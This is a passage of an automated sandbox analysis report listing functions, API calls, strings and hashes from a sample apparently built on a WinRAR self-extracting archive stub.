Part of subcall function 0041A60A: _malloc.LIBCMT ref: 0041A624

_memset.LIBCMT ref: 0041676B
_memset.LIBCMT ref: 00416925

Strings

, xrefs: 00416707

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memset$H_prolog_malloc_realloc
String ID:
API String ID: 1826288403-3916222277
Opcode ID: 993cab7651194f6cca991424da9619a149d7841471cf869c5e164fbba605c5c6
Instruction ID: ddebc8fec3c6ab1ead21f9829a9e2403fb97e8277fe63da2cbd278d94539d8b0
Opcode Fuzzy Hash: 993cab7651194f6cca991424da9619a149d7841471cf869c5e164fbba605c5c6
Instruction Fuzzy Hash: F3E1BE71A00705AFCB10DF64D980BEAB7F1FF58308F01482EE926A7281D779E995CB59

Function 004188B2 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 0041899B
_wcscpy.LIBCMT ref: 004189FB
_wcscpy.LIBCMT ref: 00418AA2

Strings

T, xrefs: 00418A64

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcscpy
String ID: T
API String ID: 3048848545-3187964512
Opcode ID: 79ad74f97b42cc498bbc32c67b2780474f21ab2e3d6a4d420f59f7612b1c61e7
Instruction ID: 56248ae07488cb14654fd59db7a23fa1b7085feb08485c9a78f470abd0ec5a61
Opcode Fuzzy Hash: 79ad74f97b42cc498bbc32c67b2780474f21ab2e3d6a4d420f59f7612b1c61e7
Instruction Fuzzy Hash: 06911BB1604744AFDF24DF64C844BEAB7F9AF04304F0441AFE5599B282CB78AAC4CB65

Function 00406C82 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00406C87
_wcscpy.LIBCMT ref: 00406CBD
SetFileTime.KERNEL32(?,?,?,?,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000), ref: 00406DDD

Strings

:, xrefs: 00406CEC

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FileH_prologTime_wcscpy
String ID: :
API String ID: 26009825-336475711
Opcode ID: 87475168d9c499826015b4c01a309912094e0b8783f934e6e45cde200616d67f
Instruction ID: 10d0c6f37f956a04eead57f3373f39a247be9c3eea7dabf34bffac723fae9b53
Opcode Fuzzy Hash: 87475168d9c499826015b4c01a309912094e0b8783f934e6e45cde200616d67f
Instruction Fuzzy Hash: 6741B171905518AAEB20EB61DD45EEEB37CAF01344F0040ABB15A731C1DB78AF89CF69

Function 0040D3EE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000001), ref: 0040D46E
GetDlgItemTextW.USER32(?,00000065,?,?), ref: 0040D483
SetDlgItemTextW.USER32(?,00000065,?), ref: 0040D498

Strings

ASKNEXTVOL, xrefs: 0040D3FD

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ItemText$Dialog
String ID: ASKNEXTVOL
API String ID: 1770891597-3402441367
Opcode ID: 333ff92a145256b3d73e268582a3974dcadf7a6aad4be80f4f5285986db0e231
Instruction ID: 15e289bba468da19e455fbefc74a83a6ceb9ff2e3901e96efcbcfe65ae9c2d6f
Opcode Fuzzy Hash: 333ff92a145256b3d73e268582a3974dcadf7a6aad4be80f4f5285986db0e231
Instruction Fuzzy Hash: 0411BE35600200BBDA219FA99C05F7A7B65EB0A710F404036FA04FB1E0C77AE8299B5E

Function 004122BE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0041232F
_memset.LIBCMT ref: 00412338

Strings

, xrefs: 004122DD

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Exception@8Throw_memset
String ID:
API String ID: 3963884845-3916222277
Opcode ID: 998ec32a5e386615b93d6f4244c34cdf95a11c1f1b85263ae2f4bdb4c5e46d64
Instruction ID: 9868739e28bef30231c1be6cae71f5b78048776ea8f5e7649061fa3df6c70597
Opcode Fuzzy Hash: 998ec32a5e386615b93d6f4244c34cdf95a11c1f1b85263ae2f4bdb4c5e46d64
Instruction Fuzzy Hash: C611E471E00218AACB14EFA9DA816DEB7B5FF44344F10406BE914E7241D6BC5B918B98

Function 0040D327 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000001), ref: 0040D36E
GetDlgItemTextW.USER32(?,00000065,?,00000080), ref: 0040D386
SetDlgItemTextW.USER32(?,00000066,?), ref: 0040D3B4

Strings

GETPASSWORD1, xrefs: 0040D339

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ItemText$Dialog
String ID: GETPASSWORD1
API String ID: 1770891597-3292211884
Opcode ID: 20e2f1ddc2ef6257760d1ba2491fb38f136181ff332860c78de716e12c93cd10
Instruction ID: 2a770bd969fb2baa3b8105a971bde4933cdc7b5be713713aac62907d5d6dcd4b
Opcode Fuzzy Hash: 20e2f1ddc2ef6257760d1ba2491fb38f136181ff332860c78de716e12c93cd10
Instruction Fuzzy Hash: 90118232A00118A7DB219FA19C09FFF3A6DEF49754F404036FE45B61C0D678896696AA

Function 00410CF5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(000001A0,?,0044E590,?,00410E85,00000020,?,00409821,?,?,?,0040BA2E,?,?,00000000,?), ref: 00410D2E
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409821,?,?,?,0040BA2E,?,?,00000000,?,?,0041225E), ref: 00410D38
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409821,?,?,?,0040BA2E,?,?,00000000,?,?,0041225E), ref: 00410D4A

Strings

Thread pool initialization failed., xrefs: 00410D62

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: ac40f6525d483723daf1a6bb0360d02b98909488f345eda45118b6fe413c7db8
Instruction ID: 3831822a01a909cb0c442bf49b56b14b4ba0a41f1b1af5e4292efc31b2b47fd2
Opcode Fuzzy Hash: ac40f6525d483723daf1a6bb0360d02b98909488f345eda45118b6fe413c7db8
Instruction Fuzzy Hash: B9112AB1600710AFD3305FA5A885BE7BBE8EB55355F60482EE6DA86241D6B828D0CB14

Function 0040D9C6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D8FF: _wcscpy.LIBCMT ref: 0040D904

RegOpenKeyExW.ADVAPI32(80000001,Software\WinRAR SFX,00000000,00000001,?,?), ref: 0040DA01
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?), ref: 0040DA2E
RegCloseKey.ADVAPI32(?), ref: 0040DA67

Strings

Software\WinRAR SFX, xrefs: 0040D9F7

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CloseOpenQueryValue_wcscpy
String ID: Software\WinRAR SFX
API String ID: 2005349754-754673328
Opcode ID: 16ee73aa1ccdb387a43e19c670acc848210dbdabe20da61b4f0a43b3b1cb1cfe
Instruction ID: 299795ea68faa4c574b81033cb9cdb2eb28d5543db85a4fafce3c64357ef6920
Opcode Fuzzy Hash: 16ee73aa1ccdb387a43e19c670acc848210dbdabe20da61b4f0a43b3b1cb1cfe
Instruction Fuzzy Hash: 9D113A35A00208EBEF219FA1DD44FDD7B78EB04344F4040A6B904A2190D6749A95DB69

Function 004050E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 004050ED
SHBrowseForFolderW.SHELL32(?), ref: 00405128

Strings

A, xrefs: 00405121

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: BrowseFolderMalloc
String ID: A
API String ID: 3812826013-3554254475
Opcode ID: 2369a54d27e4e4691d9f9798ac45772536703bb9b1ea954af0e679125d43b3bb
Instruction ID: b708c960d31f11428b04183cc59b35204deedca2250ff978b2db94b38b52d361
Opcode Fuzzy Hash: 2369a54d27e4e4691d9f9798ac45772536703bb9b1ea954af0e679125d43b3bb
Instruction Fuzzy Hash: F8012372900219EBCB10CFA4D809BEF7BF8EF49311F2041A6E805A6240D7388A058FA5

Function 0040E578 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 0040E5BD, 0040E5EF
RENAMEDLG, xrefs: 0040E5D3

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 0fad6ce56f2de7d3376022315dec326d7fcf2b5a0991145b78f940dc76bdd9e5
Instruction ID: ab74704cbbb8baf2ad3952107d87f02ab575f0d4d1926936fa7ef8990c04433a
Opcode Fuzzy Hash: 0fad6ce56f2de7d3376022315dec326d7fcf2b5a0991145b78f940dc76bdd9e5
Instruction Fuzzy Hash: 7101B535615214BFC701EB55FE40A167BD5E789358F140C3BF601A22A0E2368835DFAE

Function 0041DEE2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 0041DEF5

Part of subcall function 0041DE50: ___BuildCatchObjectHelper.LIBCMT ref: 0041DE86

_UnwindNestedFrames.LIBCMT ref: 0041DF0C
___FrameUnwindToState.LIBCMT ref: 0041DF1A

Strings

csm, xrefs: 0041DEF1, 0041DF06, 0041DF19, 0041DF37, 0041DF47

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: da80a6d951740ae99da5115fd17c8ff422e8875fd643a6a7434c62be7bb70cd0
Instruction ID: bbd11558e6a5c6f91b6ea39c8288bc8ddcb8bca3f7f602b2b51e878f0fdf9860
Opcode Fuzzy Hash: da80a6d951740ae99da5115fd17c8ff422e8875fd643a6a7434c62be7bb70cd0
Instruction Fuzzy Hash: A30146B1800209BBCF12AF52CC41EEB3F6AEF08344F004016FD1815161D73AD9B2EBA8

Function 0040BFA8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0040BFB7
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 0040BFC6

Strings

LTR, xrefs: 0040BFD6, 0040BFDB, 0040BFEA
RTL, xrefs: 0040BFBF, 0040BFC4, 0040BFF8

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: 4e6b068edd868967d6180040b6ed26316e81829012ad96dfd4a263fa787e6937
Instruction ID: 5a4550940e43178cae73f81ae7c2dd1265457720ddde325ad6ed990b3a259bec
Opcode Fuzzy Hash: 4e6b068edd868967d6180040b6ed26316e81829012ad96dfd4a263fa787e6937
Instruction Fuzzy Hash: 9FF0242134022077D62067B56C0AFE72B6CEB41314F10007AB605E60C0DFA8D49A8BEE

Function 00423213 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0041D610), ref: 00423218
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00423228

Strings

IsProcessorFeaturePresent, xrefs: 00423222
KERNEL32, xrefs: 00423213

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: d1a69543e5d9c137391ec359d69e443d87eeccf18cec78cee5d5aadc997909ac
Instruction ID: 3c98e9928195b457dec1495e07e2bf6944307f67708ad0ac31448c6a985ad81a
Opcode Fuzzy Hash: d1a69543e5d9c137391ec359d69e443d87eeccf18cec78cee5d5aadc997909ac
Instruction Fuzzy Hash: FBF06D30B00A1AE2DF101FA1BC0A66FBB74FB80742FD20091D6D2B0094CF3881B1829A

Function 004197AB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 004197E2
RegisterClassExW.USER32(00000030), ref: 00419803

Strings

RarHtmlClassName, xrefs: 004197F9
0, xrefs: 004197C1

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$RarHtmlClassName
API String ID: 1693014935-3342523147
Opcode ID: af3eaafe2746200d7010029f25febe6697ea9bf4d54c467e941758c616e3bb28
Instruction ID: ce230cc3275f868db8caccb84d2986fa2ce8d0dd58158da22838b3632dfa4e97
Opcode Fuzzy Hash: af3eaafe2746200d7010029f25febe6697ea9bf4d54c467e941758c616e3bb28
Instruction Fuzzy Hash: 7CF0C9B1D11218EBDB019F99D944ADEFBF8FF58704F10805BE510B7250D7B516058FA9

Function 0040D4A7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D4C0
SetEnvironmentVariableW.KERNEL32(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D4F3

Strings

sfxcmd, xrefs: 0040D4BB
sfxpar, xrefs: 0040D4EE

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: a8140f58090634511f44161ca886cab68263d6ea0c61b5af6c353b9493b3caa2
Instruction ID: 8d89ab96a1e125908346198fed3aeda265900fda955490a9a690e3b5c2127d3d
Opcode Fuzzy Hash: a8140f58090634511f44161ca886cab68263d6ea0c61b5af6c353b9493b3caa2
Instruction Fuzzy Hash: DBE0EC7650011836CA102695DD01FA67B6CEF80784F104037FE41A6091D978A8968BE9

Function 00410BE8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32,0040FD0B,00000001), ref: 00410BED
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410BFD

Strings

kernel32, xrefs: 00410BE8
SetDllDirectoryW, xrefs: 00410BF7

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetDllDirectoryW$kernel32
API String ID: 1646373207-2052158636
Opcode ID: 9877b7f07c448c74edacd698665b6da4c9425930a3fdfe75b90a4a82f5660a07
Instruction ID: 59ca9bbb54ad1dc253c25414b0a5b463fc1b68461d4099d311e843f210457434
Opcode Fuzzy Hash: 9877b7f07c448c74edacd698665b6da4c9425930a3fdfe75b90a4a82f5660a07
Instruction Fuzzy Hash: B0D0A7B03002219B4B1C0F726D19F6726588B40F45754423F7E06D1080DF7CC0B0A52F

Function 00409055 Relevance: 6.1, APIs: 4, Instructions: 128filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,?,?,0040747C,?,?,?), ref: 004090ED
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,0040747C,?,?,?,?), ref: 00409124
SetFileTime.KERNEL32(?,00000000,00000000,00000000,?,0040747C,?,?,?,?), ref: 00409195
CloseHandle.KERNEL32(?,?,0040747C,?,?,?,?), ref: 0040919E

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 6746ec83112f8ef3806bdff4ad86524e3acb39efa96188061f3d4a87c73603e7
Instruction ID: f35a5a3ed0d1054a0b459a2bb0eb3064bacac3bd9b34612e11fda0545b4c1239
Opcode Fuzzy Hash: 6746ec83112f8ef3806bdff4ad86524e3acb39efa96188061f3d4a87c73603e7
Instruction Fuzzy Hash: 0041BF30A00149AEEF11DBA4CC49FEE7BB9AF05314F0440AAF451BB2D2C7799E85CB58

